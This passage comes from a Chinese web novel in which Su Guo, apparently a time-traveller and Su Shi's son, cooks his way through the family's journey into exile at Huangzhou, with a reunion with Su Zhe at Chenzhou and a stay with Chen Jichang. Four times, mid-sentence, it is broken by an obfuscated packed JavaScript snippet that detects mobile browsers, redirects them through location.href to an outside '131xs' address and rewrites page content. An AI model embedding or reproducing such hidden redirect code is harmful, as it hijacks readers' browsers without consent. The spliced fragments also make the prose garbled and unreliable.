本来以老苏的罪名，是要被押解去黄州的，那才是真的遭罪呢。好在章世伯给力，在朝堂上据理力争，好歹给他们争取了自行前往的恩典，只规定了务必年前抵达。 如今已是腊月，他们也要抓紧行程了。 不过在此之前，倒还有个重要节日不能忽视，那就是腊八。 俗话说，过了腊八就是年。虽然说新年里赶路有些伤感，但明日之事明日再愁。腊八可不能敷衍着过。 苏过一大早就起床，准备亲自熬腊八粥。豆子是提前一晚就泡好的，放入锅内与糯米、莲子、红枣等共同熬煮，最后放入冰糖，焖煮一会儿，软糯香甜，很是美味。 各家腊八粥多是这种做法，不过苏过自然不满足于一种口味，另开了一锅，准备做个咸口版本，刚好家里还有熏制的腊肉，于是苏过将原本材料中的红枣等甜口材料去掉，又放入胡萝卜、白萝卜，以及煸炒过的腊肉，熬成一锅，另有一番咸香，尤其是甜口吃多了，吃点咸的换换口味，很是不错。 苏家人陆续被腊八粥香醒，虽然对苏过厨艺很是信任，王氏和苏大郎还是对咸口版本敬谢不敏，倒是老苏跟苏二郎接受良好，一碗甜粥一碗咸粥，甜咸搭配，完全不腻。 苏过熬了满满两大锅粥，除了自家吃外，还让张叔给两位师兄、章伯父、王诜伯父，甚至李府尹那边都送了一份。 别家暂且不论，李肃之收到苏过送来的粥倒是悲喜交加，喜的是这粥果然很合口味，十分好吃，悲的是苏家即将离京，以后蹭饭都没有机会了，他老头子还能活几年，吃到多少好东西呢。 苏过可不知道这些心路历程，他安排完送粥就溜出了门，离京前他还有一件重要的事情没做呢。 之前托李掌柜帮忙寻找救命恩人，却没想到竟毫无消息，这么好看一个小男孩儿，不应该这么难找呀。 苏过叹气。 没办法，苏过只能用最原始的办法，打包了近期他做的最成功的几种酱料，找到之前卖馄饨的老婆婆，托她后面如果有机会见到小孩儿，帮忙转交给他。 当然，保鲜手段有限，如果过一阵还是遇不到，酱料就老婆婆自己留着吃吧，是恩人与美食无缘了。 忙完这些，苏过回到家，王氏正在整理苏迈的行李，见他回来，只叹气摇了摇头，自去忙碌。 苏过吐了吐舌头，自去大哥房里找他说话，他还准备了一些给小侄儿的玩具和辅食呢，可得跟大哥好好交代一番。 次日苏迈便带着行李独自去了湖州，这边苏家其他人也准备第二日便出发。 张叔张婶本就是王氏来汴京时找的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405637|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临时帮佣，如今并不跟他们一起去黄州，故而帮他们整理好行李后也自行归家了。 第二日，苏家启程前往黄州。 刚出城门抵达长亭，就见章惇王诜等人正在此等候。 苏轼打马向前，“不是说好不用送行么，怎么过来了。” 章惇轻哼，“就当是回报前日的腊八粥了。”王诜也在一旁附和，直言粥是多么美味，可惜份量不多，公主都没给他留多少。 晁补之与秦观二人更是直接牵了马，打包了行李，说要随苏轼一同去黄州。 “胡闹，黄州荒凉，岂能说去就去。”老苏怒斥两位弟子。 “一日为师，终身为父，身为弟子，怎么能不随行侍奉呢。”晁补之回道。两人坚持要跟随，老苏无法，只得通知家人，他们的队伍要加人了。 苏过自然是举双手欢迎，晁师兄，实干派，居家旅行好帮手。秦师兄，偶像派，居家旅行吉祥物，哪个都不舍得，一起去黄州，甚好，那边肯定还有好多搞事情机会，人才多多益善。 送君千里，终须一别。 几人依依惜别，但天色已经不早，必须要启程了。于是与章惇王诜二人道别，苏家正式启程前往黄州。 也许是出发第一日，大家都还比较有活力和新鲜，苏过一路上看着马车外景色，只觉得古代版的出游也还是挺有意思的。 行了半日，众人找到一条河边，准备休整补充一番。 刚下马车，却见不远处已经有人早他们一步在此生火休息。 苏过一看，竟然还是个熟人，这不是之前闹市惊了马的宰相儿子么？怎么会在这种荒郊野外。 虽遇到故人，但苏过可不想和这种麻烦再扯上关系，万一提起当初的惊马事件，难免王氏不会再起担忧，念叨一顿。他们目前赶路要紧，苏过也不想横生波折，于是忙给二哥使了个眼色，二人都装作没看到。一行人选了下游休息。 另一边的仆从正在小憩，只抬头看了眼确认没危险后就不管他们了。 苏过乐得自在。 坐了这么久的车，风景虽然好看，填饱肚子也很重要。 于是叫上晁大哥一起生火烧水，准备煮面。 不得不说，苏过专门研究的方便面还是很成功的，虽然技术不成熟，材料也少，但古人智慧是无穷的，各种替代品都早有雏形。 传说古代的方便面是韩信发明的，为了不让敌军通过做饭情况发现兵力实情，特地做了泡一泡就能吃的踅面。将荞麦面和小麦粉混合烙熟后切成细条，泡一泡加上调料就能吃。 还有另一种棋子面，将面团切成棋子大小，先蒸熟再晾干，吃的时候煮一下即可。 苏过的版本基于踅面而来，在调料上下了十分的功夫，基础调料外加上竹笋和蘑菇晒干后磨成的细粉，甚至还特地跑市场收了一批小虾米干，所有材料放进锅里后，热水一煮，霸道的香味瞬间散开来。 这天偏是逆风，方便面的味道非常迅速的吹到上游。正在睡觉的蔡庄一下子闻到了。 8. 第 8 章 这蔡庄是当朝次相蔡确的小儿子。出生时父亲已开始官运亨通，于是对他难免溺爱放纵了些，养成个吃喝玩乐的性子。不像兄长蔡渭，自小被寄予厚望，科举入仕样样顺遂，娶的大嫂还是三朝老臣、前宰相冯京的女儿，简直是别人家的孩子，孩子中的模板。 不过说来也奇怪，蔡确是新政的忠实拥护者，冯京却十分反对变法。不知道蔡渭有没有在亲爹和老丈人之间左右为难过。 这些都不重要，目前蔡庄眼里只看得到那冒着热气，香味扑鼻的煮面锅。 顺着香味，就走到了苏过他们这边，见正在煮面的也是仿佛和他一样赶路的人，忙问锅里煮的是什么，香味这么霸道。 本来不准备搭理，但人家都问上门来了，不回应倒显得奇怪。苏过只得回道，“是踅面，加了些自制的调料。” 蔡庄还想细问，却突然发现眼前的人有些眼熟，“我们是不是在哪儿见过？” 听到这话，老苏和王氏都看了过来。 苏过忙道，“不曾吧。面要熟了，郎君要尝一尝么？” 蔡庄立马被美食吸引了注意力，忙不迭点头，“那就再好不过啦。” 于是苏过拿了个碗，给蔡庄盛上一些。剩下的大家分别盛了，开始用餐。 蔡庄也算是吃过许多山珍海味的人，时下虽有各种提鲜方式，但都讲究点到为止，很少将许多调料融合在一起，产生如此霸道的香味。尤其在荒郊野外，啃了几顿干粮后，美味更是翻倍。 蔡庄吃的头也不抬，喝干净最后一点汤后才有心思跟苏过继续说话。 吃饱喝足，他们也算是有“一面”之缘，蔡庄问苏过他们是要去往何处。 苏过只说家父准备去黄州任职，倒隐去了许多信息，蔡庄本来也不关心朝堂之事，自然不知道最近去往黄州的苏轼一行。于是只点了点头，报上自家姓名家世，让以后有事可以来找他，要是有好吃的来找他就更好了。 “原来是蔡衙内。”苏过假装第一次知晓一般，问道，“衙内这是要去哪里？” “唉，说来也是倒霉，前段时间刚磨着我爹买的汗血宝马，才骑出去一天就惊了马，还被人一拳打倒在地没救回来。我爹嫌我添乱，让回老家去住几天。”蔡庄倒觉得苏过十分面善，煮的东西也好吃，于是三言两语就将底细透了一干二净。 “蔡相老家何处？”对于这种送熊孩子回老家过寒假的行为，苏过内心表示十分理解，毕竟谁都想耳根子清净一阵。 “泉州晋江，那边倒是有很多海货，虾仁干和紫菜都很好，刚才的面里如果加一些一定美味。”蔡庄似乎还有一些回味。 哦，晋江啊，那盛产的可不止海货，还有好多鸽子呢，咕咕们。 苏过点头认同，对于吃货，向来是抱着惺惺相惜的态度的，而且食不厌精，没有一个厨子能拒绝好的食材。 蔡庄见被认可，仿佛遇到知己。他虽然向来只顾着吃喝玩乐，但也是很有追求的，每一样都力求精品。于是忙道等自己从老家回来，可以转道去黄州找他，顺便给他带一些晒干的海货。 这么自来熟的么。苏过心里默默吐槽，但哪能拒绝优质海货的吸引，忙点头应下，“好啊，那有机会黄州再见。” 苏二郎在旁边听的欲言又止，但又插不上话，只得等蔡庄回上游后才拉着弟弟问，“你怎么和这个人走这么近？” 苏过压低声音，“他看起来本性不坏的样子，就当多个朋友呗。” 见弟弟如此单纯，苏二郎恨铁不成钢，又不忍苛责。 还好他们不顺路，不一会儿，两拨人就都歇息好，准备继续赶路了。 蔡庄也就此和他们告别，走之前还叮嘱说一定会去黄州找苏过。 苏过能怎么办，只能挥挥手，表示朋友一路顺风，朋友下次再见。 苏家人继续赶路，他们要在接下来的时间里，一路南下，路过陈州、蔡州、再渡过淮河，走光黄古道抵达黄州。可以说是路程赶，任务重。 又走了两天，苏过快对路上的野生风景祛魅时，他们终于到达了第一个中转地，陈州。 陈州就是如今的河南淮阳，也是一个特色特产丰富之地。听说这里的淮山羊，肉质十分鲜嫩，不腻不膻，不管清蒸还是烧烤都让人回味无穷。 光是想一想，苏过都觉得口水要掉下来了。 找了个客栈安顿下来，一行人终于可以好好洗漱休息一下。 苏过泡了一个热水澡，感觉终于又变回软软糯糯苏小郎才停下来，赶路这么多天，感觉身上闷闷的，幸好是冬天，要是夏天，那不得发臭。 洗漱完毕苏小郎便准备去找爹娘，顺便问问怎样可以买到地道的淮山羊。 结果刚到爹娘房间就见到一个跟他爹差不多大的中年帅哥，还长得五分相似，只不像他爹常年带笑，整个人十分内敛，倒显得更加有文人气质了。 苏过连忙跑过去，一下子扑到对方怀里，“三伯！” 这个地界，跟他爹长这么像的人，除了他三伯苏子由，还能有谁！ 史上著名兄控，不是在捞哥哥，就是在捞哥哥路上的人。一路做到副相，有三文钱能给兄长花两文。传说自己家房子晚年才凑够钱买，先给苏轼把房子盖了。 当然，苏过对这个史料保持怀疑，毕竟截至目前看到的，他亲娘的金大腿还是很粗的，以苏家兄弟的感情，不信小叔子还没房。除非按原本剧情，到后期，他们的确是穷困潦倒。 想到这个场景，苏过打了一个寒战，一文钱难倒英雄汉，可千万不能从富返贫。躺归躺，钱还得继续赚。 感觉到怀里小孩打了个哆嗦，苏辙忙问，“怎么了，可是哪里不舒服？” 听说侄儿前段时间摔到了头，不知有没有后遗症。 在兄长的孩子面前，苏辙完全没有在外人面前的高冷，脸上笑容也多起来。 快别笑啦，苏过在心里吐槽，大佬的魅力太大，再笑他要把持不住了。 “没有没有，三伯你是特地来送我们的么？” 苏辙点点头又摇头，他本来在应天府做判官，兄长被捕入狱后他十分焦急，上书请求以自己的官职为兄赎罪，不但没被批准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405638|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，反而受牵连，如今被贬到筠州了，最近正要去就任。 算着兄长近来要路过陈州，特地在这里等着好相聚一番。 听三伯说完自己的壮举，苏过感慨果然不愧是历史上有名的兄弟情深。不过如果是二哥遇到这种事，他肯定也会一样捞兄长的，苏家传统，一脉相承！ 骄傲！ 苏二郎：谢谢，暂时用不到。 这次到陈州，苏辙也是拖家带口正准备去往筠州，中途特地绕路来与兄长相聚。 苏过跟着亲爹三伯来到楼下大堂，便见王氏并两个哥哥都在，还有另一个眼生的妇人和几个孩子。 王氏忙招呼他过来见过伯娘和几位堂兄堂妹。 三伯家的人丁倒比他家还要兴旺些，伯娘姓史，育有三子一女，分别是苏迟、苏适、苏逊和苏蓁。三个儿子都比苏过大一些，倒是小女儿如今只有三四岁，正是可爱的年纪。 记得苏辙与妻子的感情也是一段佳话，史氏出身书香门第，与苏辙乃是结发妻子，随他辗转各地，真正实现了患难与共，一生一世一双人。 见到苏过，史氏也非常慈爱的拉他过来好生打量关心了一番。又与堂兄堂妹们一起玩耍，本身年龄相差不大，很快就玩作一团，连堂妹蓁娘都喜欢围着他转。 跟长辈报备了一下，苏过磨着大哥带他们一群小孩，准备去集市逛逛，毕竟他可是带着旅游的心态走的这一路，到景点了怎么能不好好逛一逛呢。 天色还早，正好去看看这里的风俗人情，当然，重点是，有什么好吃的。 苏迈和堂弟苏迟对视了一眼，作为两边各自的大哥，都明白这种带孩子的无奈，于是一起组织了一群小孩上街。 陈州的集市明显比汴京冷清许多，但依然有许多店铺摊贩。尤其是路边很多小摊正在售卖黑陶制品，在阳光下泛着光泽，精美异常，从日常用品到各色摆件都有。 陈州黑陶也是这边一大特色，最早石器时代就有相关文物出土，西周的时候非常有名，作为官方奢侈品，谁家送个黑陶都很有面子那种。号称黑如漆、亮如镜、薄如纸、硬如瓷。 可惜到后面瓷器发展起来，尤其是宋朝，光官方挂号的瓷器名窑都有五个，名人士大夫都更推崇洁白雅致的瓷器，黑陶也就没什么人使用了。 不过官窑不烧，作为原产地的陈州还是有一定市场的，估计一些私窑还是有在传承这门手艺。 可惜他们还要赶路去黄州，不便携带这类易碎品，否则苏过真想采购几个。 逛了一圈，蓁娘便累了，于是众人返回客栈。 苏过十分可惜没有看到卖淮山羊的，不知道还能不能一饱口福。其他小孩在他的描述下也都流着口水表示惋惜。 谁不想吃点好吃的呢。 没想到回客栈后不久，堂兄苏逊就来找他，带他到客栈后院，指着栓在树旁的一只羊问他：“过哥儿，你看这是淮山羊么？” 苏过：？！ 看着眼前颈长腿长腰身长还没有角的羊。 这当然是淮山羊啦，真是柳暗花明又一羊啊！ 9. 第 9 章 淮山羊分为有角和无角两种，有角的淮山羊颈长、腿长、腰身长，无角的淮山羊颈短、腿短、腰身短，可以说十分具有辨识度了。 眼前院子里的，明显是一支无角淮山羊，不知是谁养在这儿的。 苏过忙找来客栈小二询问。 巧了，这只羊正好是掌柜亲戚寄放在这儿，准备等大集市再卖的。 于是苏过忙去找王氏申请经费，又让掌柜牵线，将羊买了下来。顺便借用了客栈厨房，准备做一羊多吃。 听说有羊吃，大大小小的孩子都来围观帮忙。主力选手晁大哥更是义不容辞打下手。这么大一只羊，真不知道苏小郎要怎么处理。 苏小郎，当然还不知道怎么处理。做羊他是专业的，杀羊，他也不会呀。 幸好之前询问的客栈小二见他们围着羊不知如何是好，自告奋勇来帮忙。说自家有做屠宰生意，只年景一般才出来当小二，杀羊的手艺倒是没拉下。 小二迅速将羊处理好，还区分了不同部位便于苏过处理。 别看一只羊挺大，但两边加起来十几个人呢，一人几口就没啦。 要是场地合适，做烤全羊也挺好的，但在人家客栈里不好施展，于是苏过只根据不同部位，做了好几道料理。 胸脯肉和臀尖肉肥瘦相间，肉质细嫩，拿来爆炒再好不过，顺便烙点薄饼，搭配蔬菜卷着吃十分可口。 前腿带筋，适合炖汤，再另起一锅，用羊腿骨、脊梁骨大火炖半小时熬成奶白色的汤，捞出汤骨，再放入洗过的羊肉和其他配菜小火炖制。 带骨的腰窝部位切出来拿香料煮过，再捞出来，调好酱料，因大家都是眉山人，直接将之前做的茱萸酱拿出来当蘸料，就是一份手抓羊肉了。 刚好厨房有个小炉子，虽然没有烧烤架，但这么多现成劳动力，直接将后腿拿棍子穿了，一人举一会儿烧烤。堂哥们还从来没做过这种事情，一个个十分兴奋，争着抢着要烤肉。 剩下肉挺多，直接让晁大哥帮忙剁成馅儿，和了面，招呼剩余的人一起来包饺子。这个天儿虽然还没下雪，但已经很冷，放外面一晚，明天刚好可以吃。 这下连苏轼兄弟和王氏史氏都一起来帮忙了。大家围着桌子，在苏过指导下包饺子。 这等吃法苏家人倒没怎么见过，但在苏过科普了北方出门饺子进门面的传统后，都觉得十分适合当下场景。 这样热热闹闹大家在一起做饭吃东西，已是十分难得的事情，不知道下次再团聚是何时了。 忙活好一阵，终于所有菜都做好，连烤肉都齐备。 大家坐在一起开动。 不愧是淮山羊，肉质鲜嫩，膻味也小，再加上苏过的调味，简直将美味发挥到极致。 本来包饺子的时候还有一点伤感氛围，这会儿大家都忙着吃，完全没心情伤感了。 他们这边热闹，客栈里别的客人就惨了。闻着这么香的味道，本来还可以的饭菜都吃不下去了。 本想问掌柜买一份，掌柜却说是客人自己做的，没办法，只得匆匆填饱肚子，回房间躲开了。 还好苏过他们做好已是比较晚，并没有太多其他人在旁边，影响范围有限。 吃到最后，只剩他们还在大堂。 “没想到过哥儿在厨艺上如此擅长。”史氏看着苏过慈爱地说，这手艺，怕是很多浸淫庖厨多年的人都赶不上。 “大约是随了二哥，以前他就喜欢折腾各种吃的东西。”苏三伯感慨道。仿佛想起了以前的一些趣事，笑的很是开怀。 “你可也没少出主意。”老苏也不甘示弱，别看弟弟一副沉稳的样子，每次他折腾可都有弟弟在一旁出主意和帮忙。 于是兄弟二人互相揭短，提起许多陈年旧事，一群大孩子小孩子还有弟子都听的津津有味。 苏过这也才知道苏三伯原来也是个刺儿头，刚中进士不久，就在制科考试上写文章痛斥神宗的四大过错，不但说人家政事偷懒，还乱花钱、贪恋美色、做事不靠谱。 言辞犀利，语言直白，把阅卷官都吓得一身冷汗。 那次考试说是要选出敢于说真话的人才，但这么真的话，也只有苏家人才敢了。 宋神宗看了，明面上自然不好意思生气，还跟皇后夸了夸苏辙，说是宰相之才。结果实际行动只给苏辙随便安排了个小官。 苏三伯正要生气上书争辩，刚好祖父苏洵身体不适，便直接以此为由拒了赐官，回家尽孝去了。 不得不说，苏家几代人都是这般性格。 祖父苏洵当年写下《过秦论》名噪一时，表面上是评论六国之事，实则吐槽北宋在对辽政策上的软弱。 又是割地又是岁币的，燕云十六州还没收回来，新的土地又快没了。 众人回忆完，也吐槽完后，见天色已晚，便各自去洗漱休息了。 苏轼苏辙两兄弟尚觉意犹未尽，于是准备抵足而眠继续谈心。 王氏与史氏对看一眼，无奈的随他们去了。 第二日醒来，大家纷纷准备吃羊肉饺子。苏轼两兄弟顶着大大的黑眼圈，一看就是熬了大夜。 不过也能理解，一会儿就要分别了，虽然可以书信往来，但哪有当面聊的尽兴。 还是一口咬开饺子吃到美味，才让两人精神振奋一些，不再昏昏欲睡。 吃完早饭，苏过连忙将自己准备的远行物资分了一份出来拿给史氏，挨个叮嘱了用法和口味。 见他这么贴心，史氏满眼慈爱的拉着他的手，“过哥儿若是个女郎，肯定秀外慧中，百家求娶。” 苏过忙不迭回应，“我只是做了每个男儿应该做的而已。” 听到他这种说法，王氏和史氏都笑了起来。 两家人收拾行李套好马车，就准备出发了，山高路远，连相聚都十分短暂。 虽然才相处一晚，堂兄们都十分喜欢这个做饭好吃的弟弟，蓁娘更是抱着苏过不肯上车，被史氏半哄半拉的带了上去。 苏轼兄弟互道珍重，便各自上马，在城门分别，往不同方向去了。 接下来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405639|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏过他们又要开始赶路，过新息县，然后坐船渡过淮河。 不知是路途疲惫还是沉浸在离别的伤感之中，自陈州话别后，苏轼的兴致就不太高。 坐在船上，望着河水，老苏竟然在发呆。 苏过还是第一次见到这么低落的老苏，当初判决刚下来时他都一副没事人的样子，没想到见了弟弟竟然伤感起来。 “回头粱楚郊，永与中原隔。”只听老苏轻叹出声。 唉，算什么事儿，还会回去的呢。 没办法直接告诉老苏，于是苏过一屁股坐在他身边，从怀里掏出一个油纸包递给苏轼。 “咯，你的中原。” 苏轼打开一看，竟然是几块黄绿色的糕点，咬了一口，味道香甜，只是已经有点发硬，不够软糯。 带着疑问的眼神投向苏过。 “陈州买的豌豆糕，香甜软糯，正宗中原点心，是不是感觉中原仍相伴？” 不等苏过说完，苏轼已经眼神不善的盯着他，“已经离开陈州这么多天，点心都硬了，哪里来的软糯香甜。” “还行啊，我早上吃的时候只有一点点硬来着...” 在老苏的眼神下，苏过的声音越来越小。 呵呵，早上刚吃，这么多天竟然点心都不拿出来分享，不孝子！ 见老苏终于从低沉气氛中恢复过来，苏过心里轻舒一口气。 未免耳朵遭殃，苏过忙拿出两根鱼竿来，邀请老苏钓鱼。 这鱼竿可是他跟船夫借的，听说淮河鱼类丰富，而且因为活动量大，普遍肉质紧实还没有腥味，现钓现吃，很适合做鱼脍。 可惜最著名的淮王鱼不在这一带，听说西汉淮南王超级喜欢这种鱼，清蒸后肉质如豆腐一般细腻，不知什么时候能尝一尝，毕竟在现代已经是保护动物，难得一见了。 不知是不是苏过一只念叨淮王鱼，所以其它鱼一条都不上钩，反而苏轼那边不一会儿就钓上来一条，通体透明无鳞，洁白如玉。 苏过一下子认出这是淮河特有的精品黄瓜鱼，肉嫩爽滑，一点不腥，带有黄瓜的清香，更重要的是，出水即死很难保存。 于是连忙唤船舱里的二哥拿工具出来。 这种鱼，不立马做成生鱼片简直是暴殄天物！ 一会儿死掉就不新鲜啦！ 二哥快一点！ 听到弟弟的呼唤，苏迨连忙拿出小刀，苏过现场杀鱼，展示了一下绝妙刀工，本就洁白的鱼肉被他片成薄薄一片，更显晶莹剔透，直接吃就带着淡淡甜味，很是美味。 船舱里的人都被他的大呼小叫吸引出来，于是苏过一边片鱼他们一边吃，到最后大厨反而只吃到一两片。尤其是老苏，不知是故意报豌豆糕的仇还是怎样，仗着鱼是自己钓的，故意跟苏过抢。 看在老苏心情不好的份上，苏过不和他计较。 苏过决定自己再钓一条。 可惜直到下船，别说黄瓜鱼，别的鱼他们都再也没钓上来一条。 这么克制的体验版么？ 10. 第 10 章 没再钓到鱼，苏过略觉气馁。 不过接下来他也没心思关注这件小事了。 因为过河后，等待他们的，是长长一段山路，光黄古道，马车什么的可走不了。 他们的马车早在渡河前就已经卖掉，于是在当地租了几匹骡马，便驮着行李上路了。 这一路上苏过才真正感受到古代远行的艰辛。 被贬可不是简简单单带薪旅游的事儿，有官道的地方还好，最多马车坐久了膈屁股，更多地方没有官道和驿站，只能靠牛马甚至步行。 还好苏家家底算丰厚，一路都是马车，山路也租了骡马，他年纪小，基本上都没步行过。 风餐露宿，行路颠簸，等终于走完古道时，苏过都觉得屁股都不是自己的了。 还有一段路程才到黄州府，他们决定在岐亭休息一下。 这里也是个历史有名商业枢纽，作为官道上的重要驿站，南来北往的商客基本都会在此处休整，倒显得十分繁华。 而且这里的酒十分出名，还有大型代言，杜牧曾经找酒的地方，“牧童遥指杏花村”里的杏花村就在这儿了。 路边不时还有酒肆挂着杏花酒的名幡招揽顾客呢。 苏家众人正准备找个店休息一下，就见远处一人骑着白马，拿着酒壶，慢悠悠走到路边一个酒肆让掌柜酤酒。 苏轼一看这人，扬声唤出，“季常兄。” 白马上的人看过来，也一下子认出了老苏，“子瞻兄，你怎么在这儿。” 却原来这人正是陈慥陈季常，老苏考中进士后第一次外放到山西凤翔做签判，就是在他老爹陈希亮手下。 两人也因此认识，性格十分投契。 陈季常那时不喜读书，成天喝酒舞剑，挥金如土，想要当个游侠。 老苏也是个洒脱不羁的性子，二人相处十分融洽。 苏陈两家也算是几代的世交，只可惜陈希亮似乎挺看不惯老苏自由散漫的性子，对他非常严厉，在任上的时候两人没少发生矛盾。 不过这不影响他和陈季常的交情。 说来自凤翔一别后，两人已经十多年未曾见面了。 再次见到老友，陈季常也很惊喜，待听说好友是被贬到黄州时，一下子沉默下来，不过片刻后就大笑一声，不再提这点，只邀请苏家众人去他家里小住几日。 因路上行程顺利，此时距年前还有些时日，苏轼便应下老友邀请，一齐前往陈季常家里。 一路听老苏二人闲谈，苏过了解了这位人物的背景，也是个奇人了。 年轻的时候放荡江湖，后面倒是立志发奋读书，可惜没遇到什么机会，干脆带着家人在这边隐居。连蔬菜粮食都能自己种绝不出来买，只好酒这一项忍不住，时不时出来买酒。 不然还真遇不到苏轼。 待到陈季常家里，苏过才明白人和人的隐居是相差很大的。 人家陶渊明是草盛豆苗稀，茅屋见南山。到这里，分明是住在庄园里玩种田游戏，非常精致的院子带着良田，冬季没啥蔬菜种着，但一看田垄就是有被好好打理的样子，还有仆从在穿行。 不过也不奇怪，陈家在洛阳可是有超豪华的园子，名下田地每年收租上千匹丝帛。 如今这个规模待遇，已经是十分体验生活了。 一行人刚进门，便见一美艳妇人迎了出来，本来面带薄怒，结果看到一群客人，当下收了神色，带上笑意，倒看着十分爽朗亲切。 陈季常连忙介绍，“这是我旧时在凤翔的好友，苏子瞻和他的家人们，刚到此处准备去州府就职，我邀他们来小住几次。” 又向苏家人介绍，“这是内人柳氏。” 听完此话，柳氏面上笑意更盛，忙招呼众人，又拉着王氏的手往里走，说他们一路辛苦了。唤来仆从帮他们归置行李收拾房间。 一应安排看的苏过啧啧称赞，处事利落，持家有方，又是一名奇女子。 听说苏家人正准备找店家休整时被陈季常给带了回来，于是瞪了丈夫一眼，又忙叫人准备茶水饭菜。 行路这么远，肯定还没好好喝水吃东西，招待回来也不好好交代一下，太不周到了。而且前面偷偷又溜出去买酒的事还没算呢。 陈季常自知理亏，摸了摸鼻子也不争辩，只专心跟苏轼还有晁无咎秦少游等人闲谈，他虽不曾科举，但也有一段时间专心读书，尤其对佛学十分痴迷，几人聊着十分投契。 王氏十分喜欢柳氏的性子，虽然柳氏目前在岐亭同丈夫隐居，生活安逸，但在别处时也是管理田产生意的一把好手，两人无论内宅外事都能聊到一起，倒也非常融洽。 尤其他们初到黄州，这边的一应环境都得了解。 苏过拉着二哥这边听听那边转转，不亦乐乎。 不一会儿一个和苏二哥差不多大的男孩带着一个五六岁小女孩进来，两人身上还沾着泥土，小女孩儿手里拿着一把不知是草还是菜苗的东西。 这两人正是陈季常的一子一女，虽和苏轼年龄差不多，但年少时陈季常立志当游侠并不定心，很晚才娶了柳氏，一儿一女年纪都不算大。 “爹爹，你的豆苗已经被冻的焉哒哒啦，我拔出来带回屋里暖暖。”小女孩进门后直奔陈季常怀里，举着手里的豆苗邀功。 见心爱的豆苗已被摧残的不成样子，陈季常面露纠结，又不好责备宠爱的小女儿，只能咽下苦水，“珠珠做的很好，下次不要再拔了。” 柳氏见状倒是笑出声，“早说了冬月种豆苗活不了，如今也算是殊途同归了。” 却原来陈季常虽不管俗物，但隐世的心倒是真真的，效仿陶公种了许多豆子，平日里田地有仆从打理，倒是收成很不错。 但他又突发奇想想要研究什么耐寒品种，于是非得冬月里又种一批，艰难发芽，这次倒跟陶公的豆苗一样稀疏了。仅剩不多的独苗现在更是被女儿拔得估计不剩几株了。 算了算了，时也，命也。 没想到陈伯父还挺有探索精神，也算是精神上的种地好手了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405640|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏过在心里默默点评。 又见柳氏拉着两个孩子给他们介绍。大的名叫陈聪，倒是和苏二哥同一年，小的女孩名叫陈珠。从名字就足见两个孩子的受宠程度了。 唤来丫鬟带两个孩子下去洗漱换衣服。 见丈夫还在哀痛手里的豆苗，柳氏满脸好笑，“拔了就拔了，本就长不出什么来。之前种的几亩豆苗收了许多豆子，根本吃不完，还堆在仓库不知放到什么时候呢。” 说完还跟王氏吐槽，明明家里仆从多的是种地好手，种点什么不好，偏年年种豆子，仓库越堆越多，根本吃不完。 苏过听了倒很有主意。 豆子可做的东西多了去了，怎么会消耗不完呢。哪怕不直接吃，做成豆腐也好呀，好吃还营养价值高。 北宋初年陶谷所著的《清异录》中就有提到“日市豆腐数个，邑人呼豆腐为小宰羊”，完全将豆腐的营养价值与羊肉相提并论了。 市井上也常有豆腐售卖。 不料柳氏不以为然，“豆腐做法也就那几样，来来回回吃个几次就腻了。” 这么说那苏过可就来劲了，不止豆腐，整个豆制品系列都是公认的美味,要吃腻可不容易。 于是忙打包票，说改日给他们做豆腐宴，试试不同口味。 见小孩自信满满的样子，柳氏觉得甚是有趣，一口答应下来。 不过这都是后面的事了，断没有刚来的客人就忙活下厨的道理。 刚好这会儿下人来回话说晚膳已经准备好了。于是众人移步餐厅。 吃饱喝足后，苏过也没心思再参与大人们的谈话，赶了这么多天的路，实在太累啦。早早就拉上二哥一起去休息。 第二日，苏过与二哥一起赖床到快晌午才起。 这么多天没有好好休息，感觉全身骨头都不在正确位置了。 柳氏很贴心的照顾到他们旅途疲累，不但让下人小声不要打扰，还特地留了早饭，两人一起床就有人来问要不要上吃的。 真是太贴心了，决定了，今天就开始准备豆腐宴。 毕竟，很多材料准备还是需要时间，而且他们在这儿也待不了几天。 